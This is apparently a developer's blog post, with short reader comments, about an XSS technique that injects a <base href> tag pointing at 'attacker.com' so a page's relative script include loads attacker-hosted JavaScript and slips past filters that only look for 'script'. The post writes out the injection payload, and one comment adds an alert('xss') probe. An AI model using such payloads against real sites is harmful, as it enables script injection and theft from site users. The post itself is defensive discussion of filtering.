Sometimes when I develop web applications, I’ll feel not good if I am asked to allow HTML in user inputs / outputs. What scares me? XSS I think.
This morning I received an interesting email from webappsec.org mailing list. Amit Klein founds out that he can trigger a XSS without a <script> tag NOR inside ONE. Here is the PoC :
<html>
…
***XSS code may be embedded here***
…
<script src=”/foo/bar.js”></script>
…
</html>
The XSS is something like this :
<base href=”http://www.attacker.com/”>
And the attacker should put some JS on his host on the exact directory (ex : http://www.attacker.com/foo/bar.js). You know what happens next rite? 
The coolest part of this XSS is it doesn’t even need a <script> tag or something like that. And for developers that uses / trusts blacklist approach (oranglist, greenlist, pinklist, or what ever you name it) that is usually targeting for “script”, this kind of attacks will surely bypass it.
Nice one Amit Klein 
So, what is the solution? Myself suggest you not to allow your users to use HTML 
or… I suggest using strip_tags?
The href stuff need to be blacklisted. There are plenty of bypassing techniques use href tag to do it.
alert(‘xss’);
There are so many way to do xss without using <script> tags.
ref: rsnake’s xss cheat sheet list
ergh, hell yeah just disable user to use html